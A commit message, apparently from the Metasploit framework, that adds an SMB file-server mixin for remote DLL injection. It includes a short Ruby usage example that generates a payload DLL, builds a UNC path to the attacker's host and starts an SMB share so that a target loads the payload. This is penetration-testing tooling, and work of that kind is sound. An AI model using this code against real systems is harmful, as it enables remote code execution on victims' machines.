Title: Implement SMBFileServer mixin.

In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.

This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.

Utilising the module (example):
include Msf::Exploit::Remote::SMBFileServer
exe = generate_payload_dll
@exe_file = rand_text_alpha(7) + ".dll"
@share = rand_text_alpha(5)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address : datastore['SRVHOST']
@unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
start_smb_server(@unc, exe, @exe_file)
// Inject DLL
handle

A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
